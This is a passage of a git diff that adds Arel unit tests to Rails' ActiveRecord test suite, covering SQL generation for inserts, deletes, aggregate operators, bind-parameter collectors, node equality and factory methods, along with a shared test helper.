+          _(table[:id].count.public_send(math_operator, 2).to_sql).must_be_like %{
+            COUNT("users"."id") #{math_operator} 2
+          }
+        end
+
+        it "maximum should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].maximum.public_send(math_operator, 2).to_sql).must_be_like %{
+            MAX("users"."id") #{math_operator} 2
+          }
+        end
+
+        it "minimum should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].minimum.public_send(math_operator, 2).to_sql).must_be_like %{
+            MIN("users"."id") #{math_operator} 2
+          }
+        end
+
+        it "attribute node should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].public_send(math_operator, 2).to_sql).must_be_like %{
+            "users"."id" #{math_operator} 2
+          }
+        end
+      end
+
+      %i[+ - & | ^ << >>].each do |math_operator|
+        it "average should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].average.public_send(math_operator, 2).to_sql).must_be_like %{
+            (AVG("users"."id") #{math_operator} 2)
+          }
+        end
+
+        it "count should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].count.public_send(math_operator, 2).to_sql).must_be_like %{
+            (COUNT("users"."id") #{math_operator} 2)
+          }
+        end
+
+        it "maximum should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].maximum.public_send(math_operator, 2).to_sql).must_be_like %{
+            (MAX("users"."id") #{math_operator} 2)
+          }
+        end
+
+        it "minimum should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].minimum.public_send(math_operator, 2).to_sql).must_be_like %{
+            (MIN("users"."id") #{math_operator} 2)
+          }
+        end
+
+        it "attribute node should be compatible with #{math_operator}" do
+          table = Arel::Table.new :users
+          _(table[:id].public_send(math_operator, 2).to_sql).must_be_like %{
+            ("users"."id" #{math_operator} 2)
+          }
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/attributes_test.rb b/activerecord/test/cases/arel/attributes_test.rb
new file mode 100644
index 0000000000000..209cbbaeeb854
--- /dev/null
+++ b/activerecord/test/cases/arel/attributes_test.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class AttributesTest < Arel::Spec
+    it "responds to lower" do
+      relation  = Table.new(:users)
+      attribute = relation[:foo]
+      node      = attribute.lower
+      assert_equal "LOWER", node.name
+      assert_equal [attribute], node.expressions
+    end
+
+    describe "equality" do
+      it "is equal with equal ivars" do
+        array = [Attribute.new("foo", "bar"), Attribute.new("foo", "bar")]
+        assert_equal 1, array.uniq.size
+      end
+
+      it "is not equal with different ivars" do
+        array = [Attribute.new("foo", "bar"), Attribute.new("foo", "baz")]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/collectors/bind_test.rb b/activerecord/test/cases/arel/collectors/bind_test.rb
new file mode 100644
index 0000000000000..8c193c6cc3d66
--- /dev/null
+++ b/activerecord/test/cases/arel/collectors/bind_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "arel/collectors/bind"
+
+module Arel
+  module Collectors
+    class TestBind < Arel::Test
+      def setup
+        @conn = FakeRecord::Base.new
+        @visitor = Visitors::ToSql.new @conn.lease_connection
+        super
+      end
+
+      def collect(node)
+        @visitor.accept(node, Collectors::Bind.new)
+      end
+
+      def compile(node)
+        collect(node).value
+      end
+
+      def ast_with_binds(bvs)
+        table = Table.new(:users)
+        manager = Arel::SelectManager.new table
+        manager.where(table[:age].eq(Nodes::BindParam.new(bvs.shift)))
+        manager.where(table[:name].eq(Nodes::BindParam.new(bvs.shift)))
+        manager.ast
+      end
+
+      def test_compile_gathers_all_bind_params
+        binds = compile(ast_with_binds(["hello", "world"]))
+        assert_equal ["hello", "world"], binds
+
+        binds = compile(ast_with_binds(["hello2", "world3"]))
+        assert_equal ["hello2", "world3"], binds
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/collectors/composite_test.rb b/activerecord/test/cases/arel/collectors/composite_test.rb
new file mode 100644
index 0000000000000..6fc3f712b86ba
--- /dev/null
+++ b/activerecord/test/cases/arel/collectors/composite_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+require "arel/collectors/bind"
+require "arel/collectors/composite"
+
+module Arel
+  module Collectors
+    class TestComposite < Arel::Test
+      def setup
+        @conn = FakeRecord::Base.new
+        @visitor = Visitors::ToSql.new @conn.lease_connection
+        super
+      end
+
+      def collect(node)
+        sql_collector = Collectors::SQLString.new
+        bind_collector = Collectors::Bind.new
+        collector = Collectors::Composite.new(sql_collector, bind_collector)
+        @visitor.accept(node, collector)
+      end
+
+      def compile(node)
+        collect(node).value
+      end
+
+      def ast_with_binds(bvs)
+        table = Table.new(:users)
+        manager = Arel::SelectManager.new table
+        manager.where(table[:age].eq(Nodes::BindParam.new(bvs.shift)))
+        manager.where(table[:name].eq(Nodes::BindParam.new(bvs.shift)))
+        manager.ast
+      end
+
+      def test_composite_collector_performs_multiple_collections_at_once
+        sql, binds = compile(ast_with_binds(["hello", "world"]))
+        assert_equal 'SELECT FROM "users" WHERE "users"."age" = ? AND "users"."name" = ?', sql
+        assert_equal ["hello", "world"], binds
+
+        sql, binds = compile(ast_with_binds(["hello2", "world3"]))
+        assert_equal 'SELECT FROM "users" WHERE "users"."age" = ? AND "users"."name" = ?', sql
+        assert_equal ["hello2", "world3"], binds
+      end
+
+      def test_retryable_on_composite_collector_propagates
+        sql_collector = Collectors::SQLString.new
+        bind_collector = Collectors::Bind.new
+        collector = Collectors::Composite.new(sql_collector, bind_collector)
+        collector.retryable = true
+
+        assert sql_collector.retryable
+        assert bind_collector.retryable
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/collectors/sql_string_test.rb b/activerecord/test/cases/arel/collectors/sql_string_test.rb
new file mode 100644
index 0000000000000..d04c4fdfa6fd4
--- /dev/null
+++ b/activerecord/test/cases/arel/collectors/sql_string_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Collectors
+    class TestSqlString < Arel::Test
+      def setup
+        @conn = FakeRecord::Base.new
+        @visitor = Visitors::ToSql.new @conn.lease_connection
+        super
+      end
+
+      def collect(node)
+        @visitor.accept(node, Collectors::SQLString.new)
+      end
+
+      def compile(node)
+        collect(node).value
+      end
+
+      def ast_with_binds
+        table = Table.new(:users)
+        manager = Arel::SelectManager.new table
+        manager.where(table[:age].eq(Nodes::BindParam.new("hello")))
+        manager.where(table[:name].eq(Nodes::BindParam.new("world")))
+        manager.ast
+      end
+
+      def test_compile
+        sql = compile(ast_with_binds)
+        assert_equal 'SELECT FROM "users" WHERE "users"."age" = ? AND "users"."name" = ?', sql
+      end
+
+      def test_returned_sql_uses_utf8_encoding
+        sql = compile(ast_with_binds)
+        assert_equal sql.encoding, Encoding::UTF_8
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/collectors/substitute_bind_collector_test.rb b/activerecord/test/cases/arel/collectors/substitute_bind_collector_test.rb
new file mode 100644
index 0000000000000..298444d249744
--- /dev/null
+++ b/activerecord/test/cases/arel/collectors/substitute_bind_collector_test.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "arel/collectors/substitute_binds"
+require "arel/collectors/sql_string"
+
+module Arel
+  module Collectors
+    class TestSubstituteBindCollector < Arel::Test
+      def setup
+        @conn = FakeRecord::Base.new
+        @visitor = Visitors::ToSql.new @conn.lease_connection
+        super
+      end
+
+      def ast_with_binds
+        table = Table.new(:users)
+        manager = Arel::SelectManager.new table
+        manager.where(table[:age].eq(Nodes::BindParam.new("hello")))
+        manager.where(table[:name].eq(Nodes::BindParam.new("world")))
+        manager.ast
+      end
+
+      def compile(node, quoter)
+        collector = Collectors::SubstituteBinds.new(quoter, Collectors::SQLString.new)
+        @visitor.accept(node, collector).value
+      end
+
+      def test_compile
+        quoter = Object.new
+        def quoter.quote(val)
+          val.to_s
+        end
+        sql = compile(ast_with_binds, quoter)
+        assert_equal 'SELECT FROM "users" WHERE "users"."age" = hello AND "users"."name" = world', sql
+      end
+
+      def test_quoting_is_delegated_to_quoter
+        quoter = Object.new
+        def quoter.quote(val)
+          val.inspect
+        end
+        sql = compile(ast_with_binds, quoter)
+        assert_equal 'SELECT FROM "users" WHERE "users"."age" = "hello" AND "users"."name" = "world"', sql
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/crud_test.rb b/activerecord/test/cases/arel/crud_test.rb
new file mode 100644
index 0000000000000..afa773cf729da
--- /dev/null
+++ b/activerecord/test/cases/arel/crud_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class FakeCrudder < SelectManager
+    class FakeEngine
+      attr_reader :calls, :connection_pool, :spec, :config
+
+      def initialize
+        @calls = []
+        @connection_pool = self
+        @spec = self
+        @config = { adapter: "sqlite3" }
+      end
+
+      def connection; self end
+
+      def method_missing(name, *args)
+        @calls << [name, args]
+      end
+    end
+
+    include Crud
+
+    attr_reader :engine
+    attr_accessor :ctx
+
+    def initialize(engine = FakeEngine.new)
+      super
+    end
+  end
+
+  class CrudTest < Arel::Spec
+    describe "insert" do
+      it "should call insert on the connection" do
+        table = Table.new :users
+        fc = FakeCrudder.new
+        fc.from table
+        im = fc.compile_insert [[table[:id], "foo"]]
+        assert_instance_of Arel::InsertManager, im
+      end
+    end
+
+    describe "update" do
+      it "should call update on the connection" do
+        table = Table.new :users
+        fc = FakeCrudder.new
+        fc.from table
+        stmt = fc.compile_update [[table[:id], "foo"]], Arel::Attributes::Attribute.new(table, "id")
+        assert_instance_of Arel::UpdateManager, stmt
+      end
+    end
+
+    describe "delete" do
+      it "should call delete on the connection" do
+        table = Table.new :users
+        fc = FakeCrudder.new
+        fc.from table
+        stmt = fc.compile_delete
+        assert_instance_of Arel::DeleteManager, stmt
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/delete_manager_test.rb b/activerecord/test/cases/arel/delete_manager_test.rb
new file mode 100644
index 0000000000000..7283faf69c56e
--- /dev/null
+++ b/activerecord/test/cases/arel/delete_manager_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class DeleteManagerTest < Arel::Spec
+    it "handles limit properly" do
+      table = Table.new(:users)
+      dm = Arel::DeleteManager.new
+      dm.take 10
+      dm.from table
+      dm.key = table[:id]
+      assert_match(/LIMIT 10/, dm.to_sql)
+    end
+
+    describe "from" do
+      it "uses from" do
+        table = Table.new(:users)
+        dm = Arel::DeleteManager.new
+        dm.from table
+        _(dm.to_sql).must_be_like %{ DELETE FROM "users" }
+      end
+
+      it "chains" do
+        table = Table.new(:users)
+        dm = Arel::DeleteManager.new
+        _(dm.from(table)).must_equal dm
+      end
+    end
+
+    describe "where" do
+      it "uses where values" do
+        table = Table.new(:users)
+        dm = Arel::DeleteManager.new
+        dm.from table
+        dm.where table[:id].eq(10)
+        _(dm.to_sql).must_be_like %{ DELETE FROM "users" WHERE "users"."id" = 10}
+      end
+
+      it "chains" do
+        table = Table.new(:users)
+        dm = Arel::DeleteManager.new
+        _(dm.where(table[:id].eq(10))).must_equal dm
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/factory_methods_test.rb b/activerecord/test/cases/arel/factory_methods_test.rb
new file mode 100644
index 0000000000000..cb4085ee4b6a5
--- /dev/null
+++ b/activerecord/test/cases/arel/factory_methods_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  module FactoryMethods
+    class TestFactoryMethods < Arel::Test
+      class Factory
+        include Arel::FactoryMethods
+      end
+
+      def setup
+        @factory = Factory.new
+      end
+
+      def test_create_join
+        join = @factory.create_join :one, :two
+        assert_kind_of Nodes::Join, join
+        assert_equal :two, join.right
+      end
+
+      def test_create_table_alias
+        table_alias = @factory.create_table_alias :one, :two
+        assert_kind_of Nodes::TableAlias, table_alias
+        assert_equal :two, table_alias.right
+      end
+
+      def test_create_and
+        and_node = @factory.create_and ["foo", "bar"]
+        assert_instance_of Nodes::And, and_node
+        assert_equal ["foo", "bar"], and_node.children
+      end
+
+      def test_create_string_join
+        join = @factory.create_string_join "foo"
+        assert_kind_of Arel::Nodes::StringJoin, join
+        assert_equal "foo", join.left
+      end
+
+      def test_grouping
+        grouping = @factory.grouping :one
+        assert_instance_of Nodes::Grouping, grouping
+        assert_equal :one, grouping.expr
+      end
+
+      def test_create_on
+        on = @factory.create_on :one
+        assert_instance_of Nodes::On, on
+        assert_equal :one, on.expr
+      end
+
+      def test_create_true
+        true_node = @factory.create_true
+        assert_instance_of Nodes::True, true_node
+      end
+
+      def test_create_false
+        false_node = @factory.create_false
+        assert_instance_of Nodes::False, false_node
+      end
+
+      def test_lower
+        lower = @factory.lower :one
+        assert_instance_of Nodes::NamedFunction, lower
+        assert_equal "LOWER", lower.name
+        assert_equal [:one], lower.expressions.map(&:expr)
+      end
+
+      def test_coalesce
+        relation = Table.new(:users)
+        field_node = relation[:active]
+        coalesce = @factory.coalesce field_node, 0
+        assert_instance_of Nodes::NamedFunction, coalesce
+        assert_equal "COALESCE", coalesce.name
+        assert_equal [field_node, 0], coalesce.expressions
+      end
+
+      def test_cast
+        relation = Table.new(:users)
+        field_node = relation[:active]
+        cast = @factory.cast field_node, "boolean"
+        assert_instance_of Nodes::NamedFunction, cast
+        assert_equal "CAST", cast.name
+        as_node = cast.expressions.first
+        assert_instance_of Nodes::As, as_node
+        assert_equal field_node, as_node.left
+        assert_equal "boolean", as_node.right
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/helper.rb b/activerecord/test/cases/arel/helper.rb
new file mode 100644
index 0000000000000..a2bce51022356
--- /dev/null
+++ b/activerecord/test/cases/arel/helper.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "active_support"
+require "minitest/autorun"
+require "arel"
+
+require_relative "support/fake_record"
+
+Minitest::Expectation.class_eval do
+  def must_be_like(other)
+    self.class.new(target.gsub(/\s+/, " ").strip, ctx).must_equal other.gsub(/\s+/, " ").strip
+  end
+end
+
+module Arel
+  class Test < ActiveSupport::TestCase
+    def setup
+      super
+      @arel_engine = Arel::Table.engine
+      Arel::Table.engine = FakeRecord::Base.new
+    end
+
+    def teardown
+      Arel::Table.engine = @arel_engine if defined? @arel_engine
+      super
+    end
+  end
+
+  class Spec < Minitest::Spec
+    before do
+      @arel_engine = Arel::Table.engine
+      Arel::Table.engine = FakeRecord::Base.new
+    end
+
+    after do
+      Arel::Table.engine = @arel_engine if defined? @arel_engine
+    end
+    include ActiveSupport::Testing::Assertions
+    include ActiveSupport::Testing::TestsWithoutAssertions
+
+    # test/unit backwards compatibility methods
+    alias :assert_no_match :refute_match
+    alias :assert_not_equal :refute_equal
+    alias :assert_not_same :refute_same
+  end
+end
diff --git a/activerecord/test/cases/arel/insert_manager_test.rb b/activerecord/test/cases/arel/insert_manager_test.rb
new file mode 100644
index 0000000000000..c4ea99d0c5d24
--- /dev/null
+++ b/activerecord/test/cases/arel/insert_manager_test.rb
@@ -0,0 +1,235 @@
+# frozen_string_literal: true
+
+require_relative "helper"
+
+module Arel
+  class InsertManagerTest < Arel::Spec
+    describe "insert" do
+      it "can create a ValuesList node" do
+        manager = Arel::InsertManager.new
+        values  = manager.create_values_list([%w{ a b }, %w{ c d }])
+
+        assert_kind_of Arel::Nodes::ValuesList, values
+        assert_equal [%w{ a b }, %w{ c d }], values.rows
+      end
+
+      it "allows sql literals" do
+        manager = Arel::InsertManager.new
+        manager.into Table.new(:users)
+        manager.values = manager.create_values([Arel.sql("*")])
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO \"users\" VALUES (*)
+        }
+      end
+
+      it "works with multiple values" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        manager.columns << table[:id]
+        manager.columns << table[:name]
+
+        manager.values = manager.create_values_list([
+          %w{1 david},
+          %w{2 kir},
+          ["3", Arel.sql("DEFAULT")],
+        ])
+
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO \"users\" (\"id\", \"name\") VALUES ('1', 'david'), ('2', 'kir'), ('3', DEFAULT)
+        }
+      end
+
+      it "literals in multiple values are not escaped" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        manager.columns << table[:name]
+
+        manager.values = manager.create_values_list([
+          [Arel.sql("*")],
+          [Arel.sql("DEFAULT")],
+        ])
+
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO \"users\" (\"name\") VALUES (*), (DEFAULT)
+        }
+      end
+
+      it "works with multiple single values" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        manager.columns << table[:name]
+
+        manager.values = manager.create_values_list([
+          %w{david},
+          %w{kir},
+          [Arel.sql("DEFAULT")],
+        ])
+
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO \"users\" (\"name\") VALUES ('david'), ('kir'), (DEFAULT)
+        }
+      end
+
+      it "inserts false" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+
+        manager.insert [[table[:bool], false]]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("bool") VALUES ('f')
+        }
+      end
+
+      it "inserts null" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.insert [[table[:id], nil]]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id") VALUES (NULL)
+        }
+      end
+
+      it "inserts time" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+
+        time = Time.now
+        attribute = table[:created_at]
+
+        manager.insert [[attribute, time]]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("created_at") VALUES (#{Table.engine.lease_connection.quote time})
+        }
+      end
+
+      it "takes a list of lists" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.into table
+        manager.insert [[table[:id], 1], [table[:name], "aaron"]]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id", "name") VALUES (1, 'aaron')
+        }
+      end
+
+      it "defaults the table" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.insert [[table[:id], 1], [table[:name], "aaron"]]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id", "name") VALUES (1, 'aaron')
+        }
+      end
+
+      it "noop for empty list" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        manager.insert [[table[:id], 1]]
+        manager.insert []
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id") VALUES (1)
+        }
+      end
+
+      it "is chainable" do
+        table = Table.new(:users)
+        manager = Arel::InsertManager.new
+        insert_result = manager.insert [[table[:id], 1]]
+        assert_equal manager, insert_result
+      end
+    end
+
+    describe "into" do
+      it "takes a Table and chains" do
+        manager = Arel::InsertManager.new
+        _(manager.into(Table.new(:users))).must_equal manager
+      end
+
+      it "converts to sql" do
+        table   = Table.new :users
+        manager = Arel::InsertManager.new
+        manager.into table
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users"
+        }
+      end
+    end
+
+    describe "columns" do
+      it "converts to sql" do
+        table   = Table.new :users
+        manager = Arel::InsertManager.new
+        manager.into table
+        manager.columns << table[:id]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id")
+        }
+      end
+    end
+
+    describe "values" do
+      it "converts to sql" do
+        table   = Table.new :users
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        manager.values = Nodes::ValuesList.new([[1], [2]])
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" VALUES (1), (2)
+        }
+      end
+
+      it "accepts sql literals" do
+        table   = Table.new :users
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        manager.values = Arel.sql("DEFAULT VALUES")
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" DEFAULT VALUES
+        }
+      end
+    end
+
+    describe "combo" do
+      it "combines columns and values list in order" do
+        table   = Table.new :users
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        manager.values = Nodes::ValuesList.new([[1, "aaron"], [2, "david"]])
+        manager.columns << table[:id]
+        manager.columns << table[:name]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id", "name") VALUES (1, 'aaron'), (2, 'david')
+        }
+      end
+    end
+
+    describe "select" do
+      it "accepts a select query in place of a VALUES clause" do
+        table   = Table.new :users
+
+        manager = Arel::InsertManager.new
+        manager.into table
+
+        select = Arel::SelectManager.new
+        select.project Arel.sql("1")
+        select.project Arel.sql('"aaron"')
+
+        manager.select select
+        manager.columns << table[:id]
+        manager.columns << table[:name]
+        _(manager.to_sql).must_be_like %{
+          INSERT INTO "users" ("id", "name") (SELECT 1, "aaron")
+        }
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/and_test.rb b/activerecord/test/cases/arel/nodes/and_test.rb
new file mode 100644
index 0000000000000..db40e98b3ac5c
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/and_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class AndTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal ivars" do
+          array = [And.new(["foo", "bar"]), And.new(["foo", "bar"])]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          array = [And.new(["foo", "bar"]), And.new(["foo", "baz"])]
+          assert_equal 2, array.uniq.size
+        end
+      end
+
+      describe "functions as node expression" do
+        it "allows aliasing" do
+          aliased = And.new(["foo", "bar"]).as("baz")
+
+          assert_kind_of As, aliased
+          assert_kind_of SqlLiteral, aliased.right
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/as_test.rb b/activerecord/test/cases/arel/nodes/as_test.rb
new file mode 100644
index 0000000000000..00c12babe8df9
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/as_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class AsTest < Arel::Spec
+      describe "#as" do
+        it "makes an AS node" do
+          attr = Table.new(:users)[:id]
+          as = attr.as(Arel.sql("foo"))
+          assert_equal attr, as.left
+          assert_equal "foo", as.right
+        end
+
+        it "converts right to SqlLiteral if a string" do
+          attr = Table.new(:users)[:id]
+          as = attr.as("foo")
+          assert_kind_of Arel::Nodes::SqlLiteral, as.right
+        end
+
+        it "converts right to SqlLiteral if a symbol" do
+          attr = Table.new(:users)[:id]
+          as = attr.as(:foo)
+          assert_kind_of Arel::Nodes::SqlLiteral, as.right
+        end
+      end
+
+      describe "equality" do
+        it "is equal with equal ivars" do
+          array = [As.new("foo", "bar"), As.new("foo", "bar")]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          array = [As.new("foo", "bar"), As.new("foo", "baz")]
+          assert_equal 2, array.uniq.size
+        end
+      end
+
+      describe "#to_cte" do
+        it "returns a Cte node using the LHS's name and the RHS as the relation" do
+          table = Table.new(:users)
+          as_node = As.new(table, "foo")
+          cte_node = as_node.to_cte
+
+          assert_kind_of Arel::Nodes::Cte, cte_node
+          assert_equal as_node.left.name, cte_node.name
+          assert_equal as_node.right, cte_node.relation
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/ascending_test.rb b/activerecord/test/cases/arel/nodes/ascending_test.rb
new file mode 100644
index 0000000000000..167df54947a1e
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/ascending_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestAscending < Arel::Test
+      def test_construct
+        ascending = Ascending.new "zomg"
+        assert_equal "zomg", ascending.expr
+      end
+
+      def test_reverse
+        ascending = Ascending.new "zomg"
+        descending = ascending.reverse
+        assert_kind_of Descending, descending
+        assert_equal ascending.expr, descending.expr
+      end
+
+      def test_direction
+        ascending = Ascending.new "zomg"
+        assert_equal :asc, ascending.direction
+      end
+
+      def test_ascending?
+        ascending = Ascending.new "zomg"
+        assert_predicate ascending, :ascending?
+      end
+
+      def test_descending?
+        ascending = Ascending.new "zomg"
+        assert_not ascending.descending?
+      end
+
+      def test_equality_with_same_ivars
+        array = [Ascending.new("zomg"), Ascending.new("zomg")]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        array = [Ascending.new("zomg"), Ascending.new("zomg!")]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/bin_test.rb b/activerecord/test/cases/arel/nodes/bin_test.rb
new file mode 100644
index 0000000000000..6c8ef8c82a6a6
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/bin_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestBin < Arel::Test
+      def test_new
+        assert Arel::Nodes::Bin.new("zomg")
+      end
+
+      def test_default_to_sql
+        viz  = Arel::Visitors::ToSql.new Table.engine.connection_pool
+        node = Arel::Nodes::Bin.new(Arel.sql("zomg"))
+        assert_equal "zomg", viz.accept(node, Collectors::SQLString.new).value
+      end
+
+      def test_mysql_to_sql
+        viz  = Arel::Visitors::MySQL.new Table.engine.connection_pool
+        node = Arel::Nodes::Bin.new(Arel.sql("zomg"))
+        assert_equal "CAST(zomg AS BINARY)", viz.accept(node, Collectors::SQLString.new).value
+      end
+
+      def test_equality_with_same_ivars
+        array = [Bin.new("zomg"), Bin.new("zomg")]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        array = [Bin.new("zomg"), Bin.new("zomg!")]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/binary_test.rb b/activerecord/test/cases/arel/nodes/binary_test.rb
new file mode 100644
index 0000000000000..d160e7cd9d280
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/binary_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class NodesTest < Arel::Spec
+      describe "Binary" do
+        describe "#hash" do
+          it "generates a hash based on its value" do
+            eq = Equality.new("foo", "bar")
+            eq2 = Equality.new("foo", "bar")
+            eq3 = Equality.new("bar", "baz")
+
+            assert_equal eq.hash, eq2.hash
+            assert_not_equal eq.hash, eq3.hash
+          end
+
+          it "generates a hash specific to its class" do
+            eq = Equality.new("foo", "bar")
+            neq = NotEqual.new("foo", "bar")
+
+            assert_not_equal eq.hash, neq.hash
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/bind_param_test.rb b/activerecord/test/cases/arel/nodes/bind_param_test.rb
new file mode 100644
index 0000000000000..e35ef9f9ba331
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/bind_param_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class BindParamTest < Arel::Spec
+      it "is equal to other bind params with the same value" do
+        _(BindParam.new(1)).must_equal(BindParam.new(1))
+        _(BindParam.new("foo")).must_equal(BindParam.new("foo"))
+      end
+
+      it "is not equal to other nodes" do
+        _(BindParam.new(nil)).wont_equal(Node.new)
+      end
+
+      it "is not equal to bind params with different values" do
+        _(BindParam.new(1)).wont_equal(BindParam.new(2))
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/bound_sql_literal_test.rb b/activerecord/test/cases/arel/nodes/bound_sql_literal_test.rb
new file mode 100644
index 0000000000000..96fa7fa54999c
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/bound_sql_literal_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "yaml"
+
+module Arel
+  module Nodes
+    class BoundSqlLiteralTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal components" do
+          node1 = BoundSqlLiteral.new("foo + ?", [2], {})
+          node2 = BoundSqlLiteral.new("foo + ?", [2], {})
+
+          array = [node1, node2]
+
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different components" do
+          node1 = BoundSqlLiteral.new("foo + ?", [2], {})
+          node2 = BoundSqlLiteral.new("foo + ?", [3], {})
+          node3 = BoundSqlLiteral.new("foo + :bar", [], { bar: 2 })
+
+          array = [node1, node2, node3]
+
+          assert_equal 3, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/case_test.rb b/activerecord/test/cases/arel/nodes/case_test.rb
new file mode 100644
index 0000000000000..946c2b0453b16
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/case_test.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class NodesTest < Arel::Spec
+      describe "Case" do
+        describe "#initialize" do
+          it "sets case expression from first argument" do
+            node = Case.new "foo"
+
+            assert_equal "foo", node.case
+          end
+
+          it "sets default case from second argument" do
+            node = Case.new nil, "bar"
+
+            assert_equal "bar", node.default
+          end
+        end
+
+        describe "#clone" do
+          it "clones case, conditions and default" do
+            foo = Nodes.build_quoted "foo"
+
+            node = Case.new
+            node.case = foo
+            node.conditions = [When.new(foo, foo)]
+            node.default = foo
+
+            dolly = node.clone
+
+            assert_equal dolly.case, node.case
+            assert_not_same dolly.case, node.case
+
+            assert_equal dolly.conditions, node.conditions
+            assert_not_same dolly.conditions, node.conditions
+
+            assert_equal dolly.default, node.default
